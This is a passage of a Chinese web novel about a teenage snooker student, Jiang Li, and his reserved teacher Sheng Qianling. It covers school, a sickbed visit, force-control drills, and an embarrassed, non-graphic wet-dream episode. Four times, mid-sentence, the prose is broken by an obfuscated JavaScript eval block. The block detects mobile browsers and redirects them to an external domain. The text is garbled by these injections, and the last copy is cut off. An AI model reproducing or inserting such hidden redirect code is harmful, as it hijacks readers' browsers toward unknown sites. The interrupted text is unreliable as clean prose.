江里睁开迷蒙的双眼,见盛千陵正在付钱。他够到窗前看一眼,见到乐福广场的巨大招牌,揉一揉眼睛,自言自语:“我怎么睡着了……” 盛千陵先下车,江里从另一边下去。 两个身材高挑的少年站在凌晨的街道上,被路灯将身影拉得老长。 盛千陵问:“你住哪儿?” 江里随手朝乐福广场后面的集贤路巷子一指,嘟囔道:“就那儿。” 说完又反问:“你呢。” 盛千陵抬手指了一下对面那片高档的凯德广场大楼,答:“汉江景苑。” 两处住所只隔一条马路,却是富贵与贫穷的分界线。江里虽然很穷,志却不短,从不因为自己贫穷就觉得低人一等,听说盛千陵住在景苑时,也并没有多稀奇。 他哈欠连天,慢走几步,说:“陵哥,我好困,我先回去了。” 盛千陵也准备回去休息,安静地站在原地,点点头,说:“好。” 然后看着江里走远。 走到他转了弯,见不到人影,才自己回去了。 次日,江里上学迟到了。 他困得实在起不来,摁掉闹钟又多睡了一会儿。等到匆忙拖着书包赶到学校时,英语早读已经上了一半。 同学们在教室里大声背诵单词,梅朝凤老师背个手在教室走道里慢悠悠走着。 江里本来想偷偷从教室后门溜进去,怎奈梅超风为了防他,早就把后面那门给关上了。 只得老老实实站到前门去喊“报告”。 梅老师掀起眼皮,攒了一早上的火气终于爆发:“江里!你自己说说,这学期迟到多少次了?” 因为嗓音太大力道过猛,宛如利剑破风,全班同学不约而同停下早读,纷纷看戏。 江里没脸没皮,站在门口一边打哈欠,一边开口说:“梅老师,我说你这年纪轻轻的,又长得跟个仙女似的,怎么脾气这么暴躁呢。” 梅朝凤被呛,不知应该是喜是忧,一时有些尴尬,黑着一张脸训斥道:“你看看你哪有个学生的样子?你就这么混吧你,有你后悔的时候!” 江里听这些话听了两年,耳朵都生了茧子。 他预判了梅老师的话,抢在对方开口前掏出英语书,扯出一抹假意乖巧的笑,说:“梅老师别生气啊,我这就站到外面去读,别气别气,为了我生气伤心,多不值得。” 梅朝凤:“……” 辣椒炸弹碰上超级高坚果,无可奈何。 片刻后,走廊传来一句句高亢的汉味英语,腔调跑到了外太空,逗得教室里的学生们阵阵发笑。 梅朝凤一瞪眼,大家不敢再笑,猫着脸边抽笑边继续早读了。 直到早读结束,江里才漫不经心在同学们的打趣里回了教室。 刚一坐定,同桌的陈树木伸过手臂,虚虚搭在江里肩上,问:“一大早的,干嘛又惹梅超风生气啊。” 江里“啪”的一声将陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875190|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树木的手撞落,隔开一点儿,蹙眉说道:“讲多少次了,别挨老子,老子不喜欢和别人有肢体接触。” 陈树木知道他的脾性,也不生气,兀自在那儿怪笑着。 笑着笑着又忍不住,说:“等你有女朋友了,我看你喜不喜欢和人有肢体接触。” 陈树木这话说得戏谑暧昧,江里一听就知道是什么意思。 江里懒得理这个混蛋同桌,只低头从书包里掏出钱来,说:“别扯蛋,还钱给你。” 陈树木看他一脸倦容,还有双眼下的一小片乌青,追问:“里哥,看看你这黑眼圈,这是一晚上没睡?没睡还有钱了?” 江里没睡好,脑子转得也慢,一时没反应过来,问:“啊,怎么?” 陈树木说出心中困惑:“你昨晚去当鸭子了啊?” 江里:“鸭你大爷。” 陈树木:“……” 没想到江里一直对他的大爷念念不忘,可真是愁人。 江里又说:“我这么年轻帅气的鸭,新鲜有活力,嘴甜有力气,一晚上只赚一千五?” 陈树木跟没见过世面似的,惊讶道:“那你做什么能赚一千五?” 江里又带着炫耀口吻,把自己昨天跟着师父出去打比赛的事儿说了。说得神采飞扬,恨不得复原当时的场景,倦意都跑了不少。 陈树木忽然说:“那你运气还挺好的,刚好欠了钱,就刚好参加比赛赢到了钱。” 江里闻言,脑子里闪过一丝奇异的念头。 正凝神去细想,那念头又像一缕虚无缥缈的烟,很快不见踪迹。 想不清楚,干脆不想。 直接在接下来的,江里最讨厌的数学课上睡了个天昏地暗。 好不容易捱到放学,江里睡足了精神,又变得生龙活虎起来。 铃声一响,他就踩着点儿往外奔,丝毫不顾身后课任老师的脸色。 他第一个冲出校门,直奔集贤路。 踩着陈旧青灰的楼梯,跑上二楼,开了灯。屋子里空无一人,江海军最常用的那支扁担也不在,看来还没收工。 没收工也是好事,说明前些日子崴了的脚已经完全恢复。 江里放下书包,把昨天打比赛赢的一千多块钱夹进存钱的那本书里,拿出了江海军留给他的十块钱晚餐费。 他还是如同往常一样,跑到刘姨那儿去买了一碗热干面,奢侈地加了两块干子。 站在路口吃罢,又买几颗棒棒糖,麻利地跑去了乐福广场五楼。 但巧的是,今天盛千陵并不在。 江里走进去,见到两个眼熟的会员在1号球台对杆,潘总和洪叔坐在沙发上边聊天边看。 他环顾场内所有的斯诺克球台,没见着盛千陵的身边,走到潘登身边问:“潘总,盛千陵呢?” 潘登嚼着槟榔,眼里带着笑意,又有些研判的审视,问:“千陵昨天和你一起去打了小台比赛的?” 江里未作它想,点点头。 他不好意思唏嘘自己拿了冠军,况且用的还是“小登”这个名字。 潘登停顿了许久没说话,江里愈发觉得他那目光里饶有深意。 至于是什么深意,江里也说不上来。他只知道,潘登这几年来,从没有用这样的眼神看过他。 江里又问一次:“盛千陵今天没来?” 潘登这才慵懒回答:“千陵病了,在休息。” 江里一听,有些急了,追问:“好端端的,怎么病了?” 潘登说:“问题不大,可能就是吹风吹狠了。” 至于是什么时候吹风吹得太狠,江里却并不知情。 17. 第017章 江里同往常一样,在球房比较忙的时候,去帮服务员摆了一会儿球。 摆完又坐在1号球台边,心不在焉看着会员们对杆。他其实一点儿也没看进去,心里总想着盛千陵生病的事情。 昨天晚上去打了比赛,回来时还好好的,才一天时间,怎么会吹风吹太狠呢。 是什么时候吹的风?这都四月了,怎么还能被风吹得着凉呢? 江里坐着自己琢磨了一会儿,心里想要去看看盛千陵的愿望越来越强烈。 他掏出手机给盛千陵发消息:“陵哥,你现在在景苑么。” 那头隔了一小会儿才回复:“在。” 江里很快把手机收起来塞进校服裤兜里,冲潘登挥挥手:“潘总,我有事先走了。” 潘登见怪不怪,昂着下巴嚼槟榔,示意知道了。 三分钟以后,江里飞奔到了景苑门口。 这个小区门岗严格,外来人员没有门禁卡,根本进不去。 但这个点正是业主们回家的高峰期,江里默默站在几米外看了一会儿,很快拿出手机假装贴在耳边打电话,一副镇定自若的样子,紧挨着前面的人混进了小区。 进去之后又犯了愁,他根本不知道盛千陵住在哪栋哪单元。 又只好给盛千陵发消息:“那你住哪一户啊?” 没隔几秒,他收到回复:“3栋2902。” 江里很快找到3栋的位置,又如法炮制跟着其他业主混进了楼栋。 哪知道这小区怪得很,进了电梯还要再刷一次楼层卡,仅按29根本没反应。 江里没来过这么高级的大楼,没见过这种高档的电梯,心里有点急了,面上却一点儿没露出来,还侧头笑问旁边那位业主:“漂亮姐姐,这个怎么弄的啊?” 那位女士有些不好意思,但还是笑道:“每层楼的电梯卡都不一样,我要去12楼,没办法帮你刷卡。” 江里脑子转得飞快,点头道:“好,那就12楼。” 等到了12楼,江里慢吞吞跟出去,循着绿色的“安全出口”标识找到了楼梯,然后一鼓作气爬了上去。 少年腿长,精力旺盛。 爬了十几层楼,依然面不改色。 他敲响2902的房门,后退一步,等着盛千陵出来。 半分钟后,门被推开,里边露出盛千陵那张无精打采的脸。 他穿着一件黑色的宽松T恤,胸口有一段白色的花纹。花纹简约,却透着精心绘制的优雅。黑色T恤下是一条棉质的灰色运动裤,宽松地包裹住修长的双腿。平日总是垂散在额头上的碎发被撩起,用一张浅蓝色的碎发贴粘在头顶上,露出了白皙完整的额骨。 因为生着病,两边脸颊上泛起不太自然的红,白里透粉,由浅入深,分外明艳。 可那五官依然是绝美的,浓眉星目,挺鼻薄唇,无一不彰显着造物主肆无忌惮的偏爱。 江里看得一时失神。 竟回味起刚才自己恭维路人的那个词——漂亮。 病中的盛千陵,实在太漂亮了。 盛千陵先出声:“你怎么来了?” 江里这才回神,往前一步,急急地说:“我听潘总说你病了,就想来看看你。” 盛千陵病怏怏的,没什么情绪,从鞋架上抽了双拖鞋,说:“进来吧。” 江里赶紧进门换鞋,然后朝盛千陵的方向走去。 一过玄关进到客厅,江里就被这满屋子的芭比娃娃给震惊住了。 客厅和餐厅相连,除了悬挂投影幕布的那面电视墙与阳台,其余几面墙上全部都做了透明的玻璃立柜。立柜被一格一格隔开,每一格里都放着一个芭比娃娃。 放眼望去,起码有几百个,每一个都穿着花样繁复颜色各异的裙子,或双手捧天,或单脚伶仃,每一个都看起来高贵美丽,宛如尊贵的公主。 许是察觉到江里的惊诧,盛千陵开口解释:“都是晓诺的收藏。潘晓诺是我舅舅的女儿。” 江里点头,补问一句:“那他们现在不住这了么。” 盛千陵边走边说:“晓诺上初中了,这儿隔得远,他们一家搬到武汉天地那边的新房子去了。” 江里不知道“武汉天地”是什么地方,没再追问。 盛千陵这时又回到他先前靠坐的沙发上,枕着一个大靠枕,继续看投影仪上的斯诺克比赛视频。 视频里正在播放2012年希金斯与马克塞尔比的一场绝境反杀。 盛千陵就蜷缩在这一室的芭比娃娃里,安静得像一幅寂寥的画。 江里自然地在盛千陵旁边的沙发坐下,眼睛还看着盛千陵的脸。 他问:“陵哥,怎么病了?” 盛千陵随意道:“人总会生病,很正常。” 江里问:“那吃过药没有?” 盛千陵点了点头。 江里想到什么,忽然凝神几秒,小心翼翼地说:“潘总说你是因为吹了风着凉发烧,是因为昨天晚上吹风么。” 提及昨晚,盛千陵的眼底终于有了一点儿波澜,但稍纵即逝。 他嗓音平淡地换了重点:“一年或者两年发一次烧,是很正常的事情,说明人体的免疫系统正在工作。” 江里压根儿不记得自己昨晚靠在盛千陵肩膀睡着的事,自然也就不知道盛千陵替他挡了二十分钟舒爽却透着凉意的江风。 可莫名的,他却心生愧疚,总觉得是因为自己,才让盛千陵生病。 鬼使神差地,江里伸出手,摸向了盛千陵的额头。 有一点热,但好在并不算发烫。 手心与额头紧密相贴,冷感与热源交错,相互传递温度。 皮肤又白又细腻,摸着还挺舒服,有点不太想挪开手。 待江里反应过来,恰好对上盛千陵那双微讶的眼。 江里:“……” 江里一时有些心虚,很快收回手,讪笑道:“嘿嘿,陵哥,我就看看你现在烧得怎么样。” 盛千陵“嗯”了一声,不动声色将头摆正,继续看电视。 过了许久,盛千陵感觉到江里的目光还在自己脸上,复而转头看他,问:“江里,你还在看什么?” 江里这人心里藏不住话,正好被盛千陵这么追问,一时诚恳感慨:“陵哥,我本来还不服气,总觉得我比你帅。可现在一看,我真是心服口服。你太美了,美得——” 美得他卡了壳。 盛千陵听得好笑,扯起嘴角扬出一个弧度,换了个舒服的蜷缩姿势,追问:“什么。” 江里是个学渣,语文学得稀烂,形容与比喻奇差,除了记得被强迫背诵的《荷塘月色》那几段,硬是找不到其它合适的修饰。 他卡了半天壳才憋出来一句:“——美得就像这屋里的芭比娃娃。” 盛千陵抿着唇淡淡地笑了。 两人都吃过了晚饭,也不用练球,这么共处一室也没什么好的谈资。 江里干脆往沙发一靠,跟着盛千陵看这一场回放比赛。中途帮盛千陵测个体温,又拿个水,然后安安静静地待着。 两人坐得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875191|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挺近,微弱的呼吸声交缠,在视频静音时若隐若现。 江里看比赛看得渐渐投入,忍不住偏过头,对盛千陵讲:“陵哥,巫师这控力,指哪儿打哪儿,简直是神走位。” 盛千陵没什么精神,又因生病,嗓音低哑碰性十足:“羡慕么。” 江里一脸艳羡:“特别羡慕。” 盛千陵说:“等我好了,我就教你。” 语气平静,并不是自夸逞能,也没有什么欲扬先抑,只是客观地表达出自己也能打出希金斯这样的控力来。 江里一秒变欢快,忘了盛千陵还在生病,一下子就张开双臂去搂盛千陵的肩膀,拱着额头笑道:“我祖宗十八代是做了什么好事啊,我竟然能认识你这个师父。” 盛千陵:“……” 他精神不济,又被这么摇晃,根本吃不消,只得喊他:“江里。” “啊?” 盛千陵说:“把手拿开。” “哦。” 这才意犹未尽将手拿开了。 盛千陵病了几天,江里就天天跑到景苑来陪他。 他已经知道盛千陵独居在潘登这套房子里,潘登他们从不过来,也就更加肆无忌惮。 只不过每次过来,他也不敢乱跑,只会乖乖坐在沙发上陪盛千陵看比赛。 到了周六,正好是这一年清明小长假的第一天。 江里起了个大早,想去陪盛千陵吃早餐。 穿衣服的时候,江海军刚好从房间出来。父子俩在狭窄逼仄的客厅碰上,江海军愣了一下,嗓音苍劲地问:“你个狗的,起这么早做什么。” 江海军三句话不离骂人口语,对待儿子也十分粗鄙。 江里听了这么多年早就习惯,竟还认真地回答:“出去找小丫头玩,争取让你早点抱上孙子。” 江海军用浑浊的眼瞅了瞅江里,知道他在嘴贫,冷哼一声,拿着扁担走了。 等江里到了景苑小区,来到3号楼楼下,又不经意回忆起这句“小丫头”,忍不住笑起来。 生了病的盛千陵,可不就是美得像个小丫头? 两人约好一起去吃早餐,江里没上楼,就站在楼栋旁一颗桃花树附近站着。 周末早上人很少,景苑里空气清新,偶尔还有几声鸟鸣。 只不过,江里很快闻到一股自远而近的奇异味道,顺着那气味看过去,才惊觉又是一年武汉的四月。 过了几分钟,盛千陵从楼栋里走出来。 一身白衣黑裤,干干净净清清爽爽,头发也特地洗吹过,又回到了一如既往的清冷澄澈模样。 盛千陵一出来,也闻到了空气中的那股刺鼻的怪味。 他拧了拧眉,猛闻几次,神色渐渐变了。再一看江里的脸,看他镇定自若习以为常,这才稍稍平定下来,问:“这是什么气味?” 江里笑得猖獗,十足的顽劣。 他说:“石楠花啊,陵哥不知道这是什么东西?” 盛千陵摇摇头。 江里却不肯细说,用眼神示意道:“自己百度一下。反正每年四月上旬,整个武汉都是这个味儿。” 盛千陵有点好奇,掏出手机搜索“石楠花”三个字。 中途不确定是哪个“楠”字,还问了问江里。 直到他看到百科上的解释,一向淡定自持的他,难得在不发烧的时候,脸热了。 江里这才凑过来,笑得挤眉弄眼:“怎么样,陵哥?你觉得石楠花是不是一股精\\\\液味儿?” 盛千陵:“……” 18. 第018章 江里这个人,浑身散发着一种市井混球气息。 他开心便笑,难过便写在脸上。对于想要的东西,也从不遮掩欲望。总是直来直去,没有什么心机,脑子也很少能转过弯来。 他说话放肆直接,行事轻佻鲁莽,不太会顾忌旁人的想法与目光,也丝毫不讲究“礼义廉耻”,尤其是“廉耻”。 才能在这大清早,直剌剌地和自己讨论“精\\\\液”这个话题。 盛千陵平素受斯诺克运动熏陶,优雅又绅士,在言论上很少有如此大胆的时候。 但此时,或许是受了江里影响,竟第一次说出烫嘴的话:“和你的气味很像么。” 说完自己也无语了,耳朵漫起一层热意,细微地延伸到脖子。 江里听了,笑得一脸贱兮兮,把话题抛给盛千陵:“你先说。” 盛千陵:“……” 他真是疯了,才问出这个问题。 盛千陵往处走了几步,声音已然恢复平静:“走吧,去吃早餐,今天开始教你控力。” 是这几天江里看视频时一直说想学的大师的击球技巧。 江里顿时跳过上一个话题,欢快回答:“好啊好啊。” 两人就近找了一家叫“蔡记热干面”的早餐店,江里有心请客,问盛千陵:“你吃什么?” 盛千陵扫一眼那块密密麻麻的餐单,说:“和你一样。” 江里于是跑去点了两碗热干面,又奢侈地要了两碗蛋酒。蛋酒两块钱一碗,江里平时很少买,但因为今天和盛千陵一起,又自觉大方了起来。 餐出得快,两人面对面坐着吃面。 江里细心地帮盛千陵把热干面拌好,又替他搅化了蛋酒里的糖。 盛千陵就默默坐着,看着江里这一系列动作,忽然问:“不是说正餐时间,不吃甜的?” 他还记得那日江里说过的关于挑食的话。 江里说:“早餐不算正餐啊,正餐是指吃米饭的时候。早餐如果能喝上蛋酒,我跟你讲,一天都能有好心情。” 盛千陵看江里一眼,没再说话,低下头吃面。 即便是吃热干面这样的动作,盛千陵都做得优雅自然。速度不快,也很少将芝麻酱沾到嘴唇上。偶尔拿小勺子喝一口蛋酒,也不会发生任何失礼的声音。 不过是个十七八岁的少年而已,正是顽皮明烈张扬热血的年纪,他却如此斯文克己,清雅如松。 江里莫名被他的样子吸引,忍不住多看了几眼。 认识还不到一个月,江里死缠烂打成了他的徒弟,又趁他生病明目张胆登堂入室,靠着自己不要脸不要皮的本事,终于跻身他的身侧,成为一个或许可以称得上是朋友的人。 能与这样高高在上的天神成为朋友,可真是一件值得炫耀的事情。 “在看什么?”盛千陵忽然问。 江里有一种被抓包的羞愧,但很快笑道:“在看你怎么吃得这么慢。” 盛千陵目光朝江里碗里一扫,说:“我吃得再慢也比你快。” 江里回神去看自己的碗,发现光顾着看盛千陵,热干面还没吃多少,竟然比盛千陵碗里的还多一些。 他飞快扒几口,丝毫不顾形象地狼吞虎咽,沾了一嘴芝麻酱。 拿舌头一舔,越舔越多。 盛千陵已经吃好,抽出纸巾慢条斯理擦净嘴,又抽几张干净的捏在手里。等到江里也吃完,他顺手把纸巾递过去,推开椅子起身。 江里边走边擦,走出早餐店。 两人并肩走了几步,路过一家糖果店。 江里突然想到自己的棒棒糖没有了,正想叫住盛千陵,让他等一会儿,哪知盛千陵已经先迈步进去。 江里小跑上去,问他:“做什么?” 盛千陵直奔徐福记专柜,边走边说:“上次你拿了冠军,还没有给你奖励。” 江里见盛千陵拿了一个塑料篓子,站在花花绿绿的糖果柜前挑挑捡捡。清一色的,全是捡的橙红糖纸的甜橙味。 盛千陵几乎要把那格木槽里的甜橙味棒棒糖拿光了,才停下来。 他把篓子交给老板,说:“麻烦称一下。” 他结完了账,把一袋子糖果往江里怀里一塞,说:“球打得好有奖励,如果我教你的控力和杆法学不会,也会有惩罚。” 江里笑得嘴都合不拢,屁颠屁颠跟着盛千陵,像一只乖巧的宠物狗子一样,说:“什么惩罚啊。” 盛千陵答:“等我想好告诉你。” “好吧。” 时间还不到十一点,时光台球还没开门。 但因为盛千陵提前找潘登拿了备用钥匙,便自己打开锁,又去前台开了一张斯诺克球台的灯。 他从杆柜取出自己的球杆,细细擦拭干净,又将球盒里的球全部倒在桌上,归到一边。 江里也选了一支公用球杆,信心满满地准备开始学习。他从塑料袋里拿出一颗糖,刚想撕糖纸,却听到盛千陵说:“以后,击球的时候,不许吃糖。” 江里:“……” 只得讪讪地放下。 盛千陵既然说了要教江里打出希金斯那样的控力,就要求自己说到做到。 他正式开始讲课:“江里。” “嗯?”江里的眼睛还在瞟那包至少有两百颗的糖。 “江里,”盛千陵又喊一声,有些生气了,“看着我。” 江里回过头,一秒变老实,认认真真盯着盛千陵。 盛千陵又说:“一个人的力量,在一个时间段内基本上是固定的。今天我们要做的事,是让你把自己的力量分为十段,从一到十,一最轻,十最重。你打球不管控力,只专注准度,所以根本不知道你出杆后,白球会停在哪儿。现在我们来试一下,你在不把球打飞的情况下,十分力是什么程度。” 盛千陵讲得很认真,也浅显易懂。 说完,他就将白球摆到4分球点位上,将一颗红球摆到5分球点位上,让两颗球同时处于球台的中线上。 摆完又说:“来,用你最大的力气,用白球击打红球。” 江里上场,酝酿了一下手臂的力量,对准白球正中心,将球大力撞击出去。那颗白球撞上红球,力量相击,果然四下乱飞。白球弹了好几次库边,终于减速,慢慢停下来。 走着走着,停到某个点位,不动了。 盛千陵走过来,拍拍江里的右边肩膀,低头问他:“刚才出杆的力,记得吗。” 江里点头:“记得。” 盛千陵说:“好,再来一次。” 于是再来一次,白球如同上一次一样,弹库好几次,慢慢减速停下来,又停到上一球停过的地方。 江里一看就笑了,欣喜若狂道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15875192|176273||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看,我还是有控力天赋的!” 盛千陵也跟着淡笑,并没有明示这只是基本水准,只是温柔地说:“是,有天赋,那你今天一整天,全部用十分力来训练,只训练平杆,不加杆法,让身体记住你的十分力,形成肌肉记忆。” 江里顿时萎靡,唇角也耷了下来。 训练一天,都要用最大的力气击球,相当于一天都在做剧烈运动,那不是要了他的小命吗? 这绝对比拜师那天考定力还要累! 他磨磨蹭蹭走到盛千陵身边,哭丧着脸小声问:“陵哥,真要练一天啊……” 盛师父铁面无私:“练一天。” “半天行不行?” “练一天。” “……” 撒娇没用,只好回到球台边开始自己摆球自己练。 一杆接一杆,杆杆用力,就像个无情无爱的训练机器。 就这么练了一整天。 而盛千陵也陪了他一整天。 到了晚上九十点,江里体力耗尽,累到腿脚发麻肩膀剧痛。连带着目光都已经开始虚浮起来,看一眼盛千陵,都只觉得有好几个盛千陵在自己眼前乱晃。 盛千陵知道这已经到了江里的极限,走过来叫他,说:“今天就到这儿,回去睡吧,明后天不用过来了。” 江里得了赦令,用仅存的最后一丝顽强的体力,收了球杆,然后拖着一副残败身驱,目光空洞地往回走。 盛千陵知道他在夸张,不免觉得好笑,挥挥手叫他:“江里,你的糖没拿。” 江里感觉自己连回头的力气都没有,哑着被火掠过的嗓子,沉沉地说:“明天再拿。” 说完慢慢走了。 盛千陵也就没再喊他。 许是白天运动量过大,夜晚这一觉,江里睡得并不怎么安稳。 睡梦中,大脑还在活跃着,反复回忆起自己这一天的控力训练。江里梦见成千上万颗红球在自己意识里晃悠,又梦见自己耗费洪荒之力将那些球全部打了出去,打了一整晚,打得他叫苦不迭四肢脱力。 却在脱力的瞬间,看到一张脸。 那是一张五官绝美无可挑剔的脸。泛着少年的温柔,白皙清爽,又逐渐有了男人的英气。 双眼皮明显,瞳孔颜色很深,鼻子线条流畅,嘴唇的颜色特别好看。 紧接着,这张唇色好看的嘴轻轻发出声音:“和你的气味很像么……” …… 梦境空间里。 风起云涌,卷过潮汐。海浪褪去,留下一片潮湿的沙滩。 江里从梦中醒来,透过油渍斑斑的窗子,看到外边被低矮树桠和旧皮电线划破的阴天。 清晨正是人的五感最灵敏的时候,江里忽然闻到一阵石楠花的气味,慢慢地弥漫在空气里。 江里心中顿时觉得好奇,集贤巷子里什么时候也有石楠花了。 怎么住了这些年,从来没有见到过? 是新栽的树,还是从别处飘来的气味? 江里浑身疼痛,睡也睡不着,伸手去够自己放在床边小椅子上的手机,想看看时间。 刚一挪动身体,却感觉到自己腿间有一小片濡湿,腥腥粘粘,散发出来的,正是石楠花的气味。 江里:“……” 卧槽! 石楠花怎么开到老子床上来了! 19. 第019章 江里躺在床上诈尸,诈了整整五分钟。 他把右手手臂搭在眼睛上,逼迫自己在黑暗的视觉环境里回想昨晚的梦境。 梦到了练球,练了一晚上。 然后,梦到了盛千陵…… 江里很少有这种梦里贪欢的时候,他本身欲望不强,加上平日里精力旺盛,爱跑爱跳,一点儿体力总是变成了操场或球房里的汗水。 虽然他是个学渣,但也知道这情形对于一个十七岁的少年来说,是再正常不过的生理现象。 他只是无法接受,怎么梦里那个人,是盛千陵? 怎么能是盛千陵? 江里思绪潮涌,久久无法平静。他很少会在一个安静的时间段里,冷静地审视自己的言行。可是这件事,他不得不多想。 他不知道是哪儿出了偏差,想不明白自己为什么会对一个男人产生遗精这种反应。 不应该是个胸大腰细的妹子么? 不应该是陈树木发的动图表情包里妆容甜美的女演员么? 怎么会是一个男人呢? 江里颤抖着去摸手机。 按开碎屏一看,早上五点四十五分。 这个点楼下的几家早餐铺子都已经开门,早起的人们在巷子里留下笃笃的脚步声。 再过几分钟,江海军也会起床。 江里睡在客厅里,正对着江海军的房间。他突然反应过来,飞快掀开薄毯,起身坐起来。动作幅度太大,扯到僵直的右腿,疼得一声“嘶哈”。 但还是强忍着酸痛起床,从客厅一个简易支架布衣柜里找出一条内裤一条半截睡裤,跑去厕所换掉了。 换好之后又将脏衣服泡在自己的洗脚盆,然后将盆子藏进厕所的洗手台下边。 等到江海军起床出来,江里刚好重回床上躺着。 他赶紧翻个身装睡,看起来只是睡相不好踢开了毯子一样。 奇怪的是,江海军今早好像在厕所多停留了一会儿。 往常他洗脸刷牙都很快,今天却磨磨蹭蹭,六点过了好几分才出来。 听到厕所门口传来响动,江里又很快闭眼,将脸埋在枕头里。 江海军走出来,站在光线昏暗的客厅里,许久没有迈开脚步,不知道在看什么。又过了很漫长的一段时间,他似乎长长地吐出一口气,拿过门边的扁担出去了。 江里觉得哪里不对劲,又有些怪异。 再次忍着肢体的酸痛起身走到厕所,看一眼厕所外面折叠的晾衣架子,果然看到了自己刚刚换下的内裤和睡裤。 江里心头一梗:“……” 没脸活了。 不如咬舌自尽,结果于此。 但一想到国家会因此失去这么英俊的一个大帅逼,万千少女会失去这么风流倜傥的一个梦中情人,又觉得有点遗憾和可惜。 还是继续苟活着吧。 江里就这么捱到了七八点。 学校上课时间是八点,他掐着点给陈树木发消息:【大树,醒了没有。】 陈树木那头刚刚睁眼,一时迷迷糊糊,回复道:【我日,八点了?老子要迟到了。】 江里两手打字:【今天清明假期第二天,儿子,你好好躺着。】 陈树木手速飞快:【草,我竟然忘了,我都被学校虐成什么样子了。不知道是我上学,还是学上我。】 江里严肃地说:【大树,我有正事找你。】 【嗯,你说。】 江里想了想,有些不自然地咬咬嘴唇,说:【你做好心理准备,我要聊的正事,是成年男人之间的话题。】 陈树木:【可是,里哥,你和我,都还没有成年。】 江里怒了,连发一排菜刀见血的小表情,在心底嘶吼:【假设!假设我们现在都成年了!】 【……行吧。】 于是,江里直接问:【你会因为梦见什么而遗精?】 陈树木:【???????】 江里:【……】 话题一度很难展开。 陈树木不知道,江里这颗清心寡欲的老铁树,怎么也会有开花的时候,还一上来就问这么劲爆的问题。他猜江里是动了凡心,揶揄道:【怎么,对哪个女生上了心?】 江里的暴躁一秒冲破头顶,脏话张嘴就来:【上你大爷!】 陈树木:【……】 迫于江里的淫威,可怜的陈树木犹豫好久,才索性扔了那张脸来回答江里的问题。 他说:【每回都不一样吧,有时候是女的,有时候是一部电影,最离谱的一次,是梦见一头猪。】 江里深深的沉默了。 因为一头猪吗? 为这样的物种都能有反应,那他梦见了一个朝夕相处的人,而且是一个英俊潇洒有魅力的人类,并不能说明什么问题,是不是!!! 江里很快雀跃起来,早上那点儿阴霾一扫而空。他仰躺着调侃陈树木:【啧啧,大树,你挺牛逼啊。】 陈树木却直击重点:【你呢,昨晚为谁做了春梦?】 江里:【……】 任由陈树木再怎么消息轰炸百般调侃,江里都装死不回复了。 陈树木这时话题一转,又认真说:【里哥,你记得二(3)班那个徐小恋么。】 江里这才说:【谁,不认识。】 陈树木开始兴奋地发语音:【就是之前托我给你递过两次信的,不过你都没看,她还送过你笔记本和早餐,你都给我了。】 【嗯,所以呢?】 陈树木继续说:【我昨天在六渡桥碰到她了,就在民众乐园里面,啊!里哥,我突然觉得她好漂亮啊!我要去追她!】 江里压根儿不知道陈树木说的女生是哪个,也没什么兴趣,只仗义地回复一句“祝你好运”,就结束了对话。 他肩酸腿痛得厉害,走路都费劲,根本不想起床。 联想到昨晚盛千陵对他说“明后天不过过来了”,才明白过来并不是“不用”,是盛千陵清楚他根本没办法去训练了。 于是,小长假的后面两天,江里都十分凄惨地居家度过。 他哀怨地给盛千陵发消息:【我这两天浑身酸痛,而我亲爱的师父,这样折磨他的徒弟,心会痛么。】 盛千陵可能在练球,隔了好几个小时才回复:【不痛。做我的徒弟,一开始得习惯痛。】 后面还有一个严肃吧唧的笑脸。 江里:“……” 从这个清明小长假开始,江里就切身体会到了什么是“得习惯痛”。 他再去时光台球时,盛千陵开始让他训练九分力,一练就是一整晚。一个星期下来,他打到了三分力,并已经清楚记得自己手臂的不同力量能将球推出去多远。 右臂和右腿成天痛得发胀,血液在他身体里像沸腾一样横冲直撞。 可偏偏只要忍住痛意,他能很清楚地看到自己在控力方面的进步。有那么几次神来之杆,他竟然也可以像希金斯一样,指哪儿打哪儿,白球完全听他的使唤。 简直欣喜若狂。 江里又想往盛千陵身上扑,与他分享自己的喜悦。 他有点不明白自己怎么沾染上了这么个恶趣味,开心就往盛千陵边上蹦,好像要让一身雪白纯净的天神沾上一点凡尘的污泥才好。 盛千陵总是拧着眉心退开几步,冲江里摆手制止,一脸无可奈何的嫌弃。 江里就站在原地傻笑,一头呆毛跟着轻轻地摇。 摇着摇着,为期十二天的控力训练终于结束。 江里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 